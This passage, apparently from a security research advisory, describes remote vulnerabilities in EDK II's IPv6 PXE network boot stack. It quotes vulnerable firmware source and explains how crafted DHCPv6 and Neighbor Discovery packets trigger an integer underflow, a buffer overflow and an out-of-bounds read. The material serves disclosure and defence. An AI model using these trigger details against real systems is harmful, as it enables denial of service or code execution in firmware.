<p>Network boot is a standard feature on enterprise computers and servers. Using network boot to load an OS image from the network at boot time is popular in data centers and high-performance computing (HPC) environments, since server farms and HPC clusters may have hundreds or thousands of compute nodes that need to be provisioned with the same operating system and software configuration, and downloading and running the OS from a central set of servers (Boot servers) could greatly simplify management. In order to provide this network booting feature, UEFI implements a full IP stack at the <a href="https://uefi.org/specs/PI/1.8/V2_Overview.html">DXE phase</a>, opening the door to attacks from the local network during this early stage of the boot process. </p>
<p>The <a href="https://en.wikipedia.org/wiki/Preboot_Execution_Environment">Preboot Execution Environment</a> (PXE) is the specification for a standardized client-server solution to allow computers to boot over the network, colloquially referred to as <em>netboot</em> or <strong><em>Pixie boot</em></strong>. It was originally introduced by Intel in 1998 and later incorporated into the UEFI specification. Besides IPv4, PXE originally relied on a handful of simple protocols to achieve network booting: DHCP, UDP, and TFTP. These were considered relatively simple protocols that could be implemented with a sufficiently small footprint to fit in Option ROM or Network Interface Card (NIC) firmware. Since the release of version 2.2 of the UEFI specification in 2010, IPv6-based PXE has been part of the UEFI specification as well. In the case of IPv6, besides the core protocol, other protocols such as ICMPv6, Neighbor Discovery (ND), Multicast Listener Discovery (MLD), UDP, TCP, DHCPv6, DNS, and TFTP are implemented, which increased the overall attack surface.</p>
<p>EDK II is an open source implementation of the UEFI specification developed and maintained by <a href="https://www.tianocore.org/">Tianocore</a>, a community of developers from software vendors that also leverage the project for their own UEFI implementations. In a <a href="https://blog.quarkslab.com/for-science-using-an-unimpressive-bug-in-edk-ii-to-do-some-fun-exploitation.html">prior blog post</a> <em>Gwaby</em> explored the attack surface and <em>exploitability of EDK II</em> and showed that even a bug that provides just minimal capability could be used to achieve arbitrary code execution if the context is right. UEFI vulnerabilities that could be triggered remotely seemed like an interesting context for exploitation, and eventually persistence, but where would we look for those?</p>
<p>The EDK II UEFI reference implementation <a href="https://github.com/tianocore/tianocore.github.io/wiki/PXE">provides both IPv4- and IPv6-based PXE</a>. In the <a href="https://uefi.org/sites/default/files/resources/UEFI_Spec_2_10_Aug29.pdf">latest available specification (UEFI 2.10)</a> as of this writing, IPv6-based PXE is described in section "<em>24.3.18 - Netboot6</em>".</p>
<p>We performed a cursory inspection of <code>NetworkPkg</code>, Tianocore's EDK II PXE implementation, and identified nine vulnerabilities that can be exploited by unauthenticated remote attackers on the same local network, and in some cases, by attackers on remote networks. The impact of these vulnerabilities includes denial of service, information leakage, remote code execution, DNS cache poisoning, and network session hijacking.</p>
<h2>Affected vendors</h2>
<ul>
<li>Tianocore <a href="https://github.com/tianocore/edk2">EDK II UEFI implementation</a> <ul>
<li><code>NetworkPkg</code> PXE stack.</li>
</ul>
</li>
</ul>
<p>Other vendors that use EDK II's <code>NetworkPkg</code> module (non-exhaustive list):</p>
<ul>
<li>
<p>Arm Ltd.: <a href="https://gitlab.arm.com/arm-reference-solutions/edk2">Arm reference solutions</a></p>
</li>
<li>
<p>Insyde Software: <a href="https://www.insyde.com/products">Insyde H20 UEFI BIOS</a></p>
</li>
<li>
<p>American Megatrends Inc. (AMI): <a href="https://github.com/opencomputeproject/OSF-Aptio-OpenEdition">Aptio OpenEdition</a></p>
</li>
<li>
<p>Phoenix Technologies Inc.: <a href="https://www.phoenix.com/phoenix-securecore/">SecureCore</a></p>
</li>
<li>
<p>Microsoft Corporation: <a href="https://github.com/microsoft/mu_basecore">Project Mu</a></p>
</li>
</ul>
<p>CERT/CC published <a href="https://www.kb.cert.org/vuls/id/132380">Vulnerability Note VU#132380</a> with a more comprehensive list of affected vendors, and guidance to deploy fixes and mitigations.</p>
<p>Proof of concept scripts to detect the presence of vulnerabilities 1 to 7 are available <a href="https://github.com/quarkslab/pixiefail">here</a>.</p>
<h2>Technical details</h2>
<h3>Preboot Execution Environment (PXE)</h3>
<p>In order to boot from the network, a client system must be able to locate, download, and execute code that sets up, configures, and runs the operating system. This is usually done in several stages, starting with a minimal program that is downloaded from a network server using a simple protocol, such as TFTP, which then downloads and runs a second booting stage or the full operating system image. </p>
<p>To locate this minimal program, called Network Bootstrap Program (NBP), the PXE client relies on a DHCP server to both obtain the configuration parameters to configure its network interface with a valid IP address and to receive a list of Boot Servers to query for the NBP file. Since the DHCP server must provide such a list and other special parameters, the PXE client has to send some mandatory <a href="https://datatracker.ietf.org/doc/html/rfc4578">PXE-releated DHCP Options</a>, consequently, the DHCP server must be "PXE enabled", i.e. configured appropriately to recognize PXE client options and to reply with the proper DHCP server options. To facilitate network booting without having to modify the configuration of operational DHCP servers servicing all types of clients, not just PXE clients, the specification splits the regular DHCP server functionality from the PXE-related functionality into two separate services, the DHCP service, and the proxy DHCP service, running on different ports on the same or separate machines. </p>
<p>The PXE client selects a Boot Server and communicates with it using the DHCP protocol to obtain the filename and file service (TFTP) parameters necessary to download the NBP. Finally, the NBP is downloaded, verified (in the case of Secure Boot), and executed. Once the next booting stage or the fully-fledged operating system image is downloaded and setup, execution control is transferred to it. A more detailed description of the PXE boot process is provided <a href="https://github.com/tianocore/tianocore.github.io/wiki/PXE">here</a>.</p>
<p>PXE over IPv6 is based on a combination of the DHCPv6 and TFTP protocols, which in turn implies the usage of IPv6 and UDP at layers 3 and 4, respectively. Because a DHCP server may provide a list of Boot Servers by hostname, it is also necessary to have a working implementation of the DNS protocol. </p>
<p>The following picture from the UEFI 2.10 specification summarizes the PXE boot process over IPv6:</p>
<p><center>
<img src="resources/2023-09-27_vulnerabilities-in-tianocore-edk2-ipv6-stack/pxe-ipv6-flow.png" style="border:none" width="60%">
</center></p>
<h3>CVE-2023-45229: Integer underflow when processing IA_NA/IA_TA options in a DHCPv6 Advertise message</h3>
<p>When trying to boot using PXE over IPv6, the EDK II firmware starts by sending DHCPv6 <code>Solicit</code> messages. DHCPv6 servers answer with an <code>Advertise</code> message.
<code>Advertise</code> messages are handled in EDK II by the <code>Dhcp6HandleAdvertiseMsg</code> function in <code>NetworkPkg/Dhcp6Dxe/Dhcp6Io.c</code>, which calls <code>Dhcp6SeekStsOption</code> in order to search for <code>Status</code> codes in the received message. A <code>Status</code> code may appear as an option in the DHCPv6 message, or as an option inside another option, such as the <code>IA_NA</code> or <code>IA_TA</code> options.</p>
<p>When seeking for <code>Status</code> codes encapsulated in <code>IA_NA</code> or <code>IA_TA</code> options, the vulnerable function <code>Dhcp6SeekStsOption</code> in <code>NetworkPkg/Dhcp6Dxe/Dhcp6Io.c</code> does the following:</p>
<div class="highlight"><pre><span></span><code><span class="n">EFI_STATUS</span><span class="w"></span>
<span class="nf">Dhcp6SeekStsOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">DHCP6_INSTANCE</span><span class="w"> </span><span class="o">*</span><span class="n">Instance</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">EFI_DHCP6_PACKET</span><span class="w"> </span><span class="o">*</span><span class="n">Packet</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OUT</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">**</span><span class="n">Option</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Seek in encapsulated options, IA_NA and IA_TA.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Dhcp6SeekIaOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">Packet</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Option</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">Packet</span><span class="o">-></span><span class="n">Length</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="n">EFI_DHCP6_HEADER</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">Instance</span><span class="o">-></span><span class="n">Config</span><span class="o">-></span><span class="n">IaDescriptor</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EFI_SUCCESS</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Instance</span><span class="o">-></span><span class="n">Config</span><span class="o">-></span><span class="n">IaDescriptor</span><span class="p">.</span><span class="n">Type</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">Dhcp6OptIana</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="n">IaInnerOpt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">16</span><span class="p">;</span><span class="w"></span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="n">IaInnerLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="p">)(</span><span class="n">NTOHS</span><span class="w"> </span><span class="p">(</span><span class="n">ReadUnaligned16</span><span class="w"> </span><span class="p">((</span><span class="n">UINT16</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">)))</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">12</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="n">IaInnerOpt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span><span class="w"></span>
<span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="w"> </span><span class="n">IaInnerLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="p">)(</span><span class="n">NTOHS</span><span class="w"> </span><span class="p">(</span><span class="n">ReadUnaligned16</span><span class="w"> </span><span class="p">((</span><span class="n">UINT16</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">)))</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">[</span><span class="mi">5</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Dhcp6SeekOption</span><span class="w"> </span><span class="p">(</span><span class="n">IaInnerOpt</span><span class="p">,</span><span class="w"> </span><span class="n">IaInnerLen</span><span class="p">,</span><span class="w"> </span><span class="n">Dhcp6OptStatusCode</span><span class="p">);</span><span class="w"></span>
<span class="p">[...]</span><span class="w"></span>
</code></pre></div>
<p>Basically, the <code>IA_NA</code> and <code>IA_TA</code> options in an <code>Advertise</code> message are trusted without doing basic sanity checks, e.g.:</p>
<ul>
<li>
<p>in the case of <code>IA_NA</code> options:</p>
<ul>
<li>that the option is at least 16 bytes in length before setting <code>IaInnerOpt</code> to <code>*Option + 16</code>, at [1].</li>
<li>that the value of the <code>optlen</code> field of the option is at least 12, before subtracting 12 from it, at [2].</li>
</ul>
</li>
<li>
<p>in the case of <code>IA_TA</code> options:</p>
<ul>
<li>that the option is at least 8 bytes in length before setting <code>IaInnerOpt</code> to <code>*Option + 8</code>, at [3].</li>
<li>that the value of the <code>optlen</code> field of the option is at least 4, before subtracting 4 from it, at [4].</li>
</ul>
</li>
</ul>
<p>The lack of checking for sane values in the <code>optlen</code> field of these options allows to trigger an integer underflow, by setting the <code>optlen</code> field to a value < 12 (in the case of <code>IA_NA</code>) or < 4 (in the case of <code>IA_TA</code>).</p>
<p>As an example, if we send a DHCPv6 <code>Advertise</code> message containing an <code>IA_NA</code> option with its <code>optlen</code> field set to 11, when the code above calls <code>Dhcp6SeekOption</code> at [5] to scan forward for status options, the <code>IaInnerLen</code> parameter will be set to 0xFFFF (11 - 12), and as a result function <code>Dhcp6SeekOption</code> will attempt to read memory well past the end of the received packet.</p>
<h3>CVE-2023-45230: Buffer overflow in the DHCPv6 client via a long Server ID option</h3>
<p>After doing the initial <code>Solicit</code>/<code>Advertise</code> exchange, a DHCPv6 client needs to send a <code>Request</code> message. This is done via the <code>Dhcp6SendRequestMsg</code> function in <code>NetworkPkg/Dhcp6Dxe/Dhcp6Io.c</code>.</p>
<p>This <code>Request</code> message needs to keep a few DHCPv6 options sent during the <code>Solicit</code> message, such as <code>OPTION_ORO</code> (0x6), <code>OPTION_CLIENT_ARCH_TYPE</code> (0x3D), <code>OPTION_NII</code> (0x3E), and <code>OPTION_VENDOR_CLASS</code> (0x10). These options are kept in <code>Instance->Config->OptionList</code>. Their lengths are added up ([1]), in order to calculate the size of the buffer needed to store the <code>Request</code> packet. Notice that the total size of the allocation is <code>DHCP6_BASE_PACKET_SIZE</code> (1024, defined in <code>NetworkPkg/Dhcp6Dxe/Dhcp6Impl.h</code>) plus the sum of the lengths of the options mentioned before ([2]). In our tests <code>UserLen</code> typically ends up having the value 67, so the total size of the allocation is 1091 bytes.</p>
<div class="highlight"><pre><span></span><code><span class="n">EFI_STATUS</span><span class="w"></span>
<span class="n">Dhcp6SendRequestMsg</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">DHCP6_INSTANCE</span><span class="w"> </span><span class="o">*</span><span class="n">Instance</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Calculate the added length of customized option list.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">UserLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">Index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">Index</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">Instance</span><span class="o">-></span><span class="n">Config</span><span class="o">-></span><span class="n">OptionCount</span><span class="p">;</span><span class="w"> </span><span class="n">Index</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="n">UserLen</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="n">NTOHS</span><span class="w"> </span><span class="p">(</span><span class="n">Instance</span><span class="o">-></span><span class="n">Config</span><span class="o">-></span><span class="n">OptionList</span><span class="p">[</span><span class="n">Index</span><span class="p">]</span><span class="o">-></span><span class="n">OpLen</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">4</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Create the Dhcp6 packet and initialize common fields.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="n">Packet</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AllocateZeroPool</span><span class="w"> </span><span class="p">(</span><span class="n">DHCP6_BASE_PACKET_SIZE</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">UserLen</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Packet</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EFI_OUT_OF_RESOURCES</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">Packet</span><span class="o">-></span><span class="n">Size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DHCP6_BASE_PACKET_SIZE</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">UserLen</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
</code></pre></div>
<p>The <code>Request</code> message also needs to retain the <em>Server ID</em> (0x2) option that was previously sent by the DHCPv6 server in the <code>Advertise</code> message. It is retrieved this way:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Get the server Id from the selected advertisement message.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Dhcp6SeekOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">Instance</span><span class="o">-></span><span class="n">AdSelect</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Option</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">Instance</span><span class="o">-></span><span class="n">AdSelect</span><span class="o">-></span><span class="n">Length</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">Dhcp6OptServerId</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">EFI_DEVICE_ERROR</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">ServerId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">EFI_DHCP6_DUID</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">Option</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
</code></pre></div>
<p>Then, the <code>Request</code> packet is built by assembling all the needed options, one after the other: first the Client ID, then the Elapsed Time, then the Server ID, and so on.
Notice that when appending the Server ID option (which is fully controlled by the DHCPv6 server), its <code>Length</code> field is fully trusted, without any sanity checks. Therefore, a Server ID option with an overly large <code>Length</code> field can overflow the <code>Packet->Dhcp6.Option</code> buffer with fully controlled data (overflow data comes from the <code>DUID</code> field of the Server ID option).</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Assembly Dhcp6 options for request message.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">Cursor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Packet</span><span class="o">-></span><span class="n">Dhcp6</span><span class="p">.</span><span class="n">Option</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Length</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">HTONS</span><span class="w"> </span><span class="p">(</span><span class="n">ClientId</span><span class="o">-></span><span class="n">Length</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Cursor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Dhcp6AppendOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">Cursor</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">HTONS</span><span class="w"> </span><span class="p">(</span><span class="n">Dhcp6OptClientId</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="n">Length</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ClientId</span><span class="o">-></span><span class="n">Duid</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Cursor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Dhcp6AppendETOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">Cursor</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">Instance</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">Elapsed</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">Cursor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Dhcp6AppendOption</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">Cursor</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">HTONS</span><span class="w"> </span><span class="p">(</span><span class="n">Dhcp6OptServerId</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="n">ServerId</span><span class="o">-></span><span class="n">Length</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ServerId</span><span class="o">-></span><span class="n">Duid</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>The very same bug seems to be present in functions <code>Dhcp6SendDeclineMsg</code>, <code>Dhcp6SendReleaseMsg</code>, and <code>Dhcp6SendRenewRebindMsg</code> (<code>NetworkPkg/Dhcp6Dxe/Dhcp6Io.c</code>).</p>
<h3>CVE-2023-45231: Out of Bounds read when handling a ND Redirect message with truncated options</h3>
<p>Function <code>Ip6ProcessRedirect</code> in <code>NetworkPkg/Ip6Dxe/Ip6Nd.c</code> handles Neighbor Discovery (ND) protocol's <code>Redirect</code> messages.
This function calls <code>Ip6IsNDOptionValid</code> (<code>NetworkPkg/Ip6Dxe/Ip6Option.c</code>) to verify that all the options included in the <code>Redirect</code> message are valid.</p>
<div class="highlight"><pre><span></span><code><span class="n">EFI_STATUS</span><span class="w"></span>
<span class="nf">Ip6ProcessRedirect</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">IP6_SERVICE</span><span class="w"> </span><span class="o">*</span><span class="n">IpSb</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">EFI_IP6_HEADER</span><span class="w"> </span><span class="o">*</span><span class="n">Head</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">NET_BUF</span><span class="w"> </span><span class="o">*</span><span class="n">Packet</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="c1">// All included options have a length that is greater than zero.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">OptionLen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="p">)(</span><span class="n">Head</span><span class="o">-></span><span class="n">PayloadLength</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">IP6_REDITECT_LENGTH</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">OptionLen</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">NetbufGetByte</span><span class="w"> </span><span class="p">(</span><span class="n">Packet</span><span class="p">,</span><span class="w"> </span><span class="n">IP6_REDITECT_LENGTH</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">ASSERT</span><span class="w"> </span><span class="p">(</span><span class="n">Option</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">Ip6IsNDOptionValid</span><span class="w"> </span><span class="p">(</span><span class="n">Option</span><span class="p">,</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">Exit</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
</code></pre></div>
<p>If the options section of an incoming ND <code>Redirect</code> message is made of one single option, which is truncated and composed of only the Option Code (i.e. 1 single byte), <code>Ip6IsNDOptionValid</code> returns TRUE. This happens because <code>Ip6IsNDOptionValid</code> is called with parameter <code>OptionLen</code> == 1, and <code>sizeof(IP6_OPTION_HEADER)</code> is 2, therefore the <code>while</code> loop in charge of traversing the list of options ([1]) is never entered, and we just reach the <code>return TRUE</code> at the end ([2]), meaning that the truncated option is considered as valid, even though it is not.</p>
<div class="highlight"><pre><span></span><code><span class="n">BOOLEAN</span><span class="w"></span>
<span class="nf">Ip6IsNDOptionValid</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT8</span><span class="w"> </span><span class="o">*</span><span class="n">Option</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">UINT16</span><span class="w"> </span><span class="n">OptionLen</span><span class="w"></span>
<span class="w"> </span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// RFC 4861 states that Neighbor Discovery packet can contain zero or more</span>
<span class="w"> </span><span class="c1">// options. Start processing the options if at least Type + Length fields</span>
<span class="w"> </span><span class="c1">// fit within the input buffer.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Offset</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="n">IP6_OPTION_HEADER</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">OptionLen</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[...]</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">TRUE</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>After that, back in <code>Ip6ProcessRedirect</code>, options are actually processed. If our options section of the packet is composed of a single byte (i.e. a truncated option composed of just the option code), the <code>Length</code> variable takes value 1 at [3], so it enters the <code>while</code> block at [4], and at [5] or [6] (depending on the option code we specified in the truncated option), one byte is read past the end of the packet, which is the missing length field of our truncated option.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="c1">// Check the options. The only interested option here is the target-link layer</span>
<span class="w"> </span><span class="c1">// address option.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="n">Length</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Packet</span><span class="o">-></span><span class="n">TotalSize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">40</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">Option</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT8</span><span class="w"> </span><span class="o">*</span><span class="p">)(</span><span class="n">IcmpDest</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">LinkLayerOption</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span><span class="w"></span>
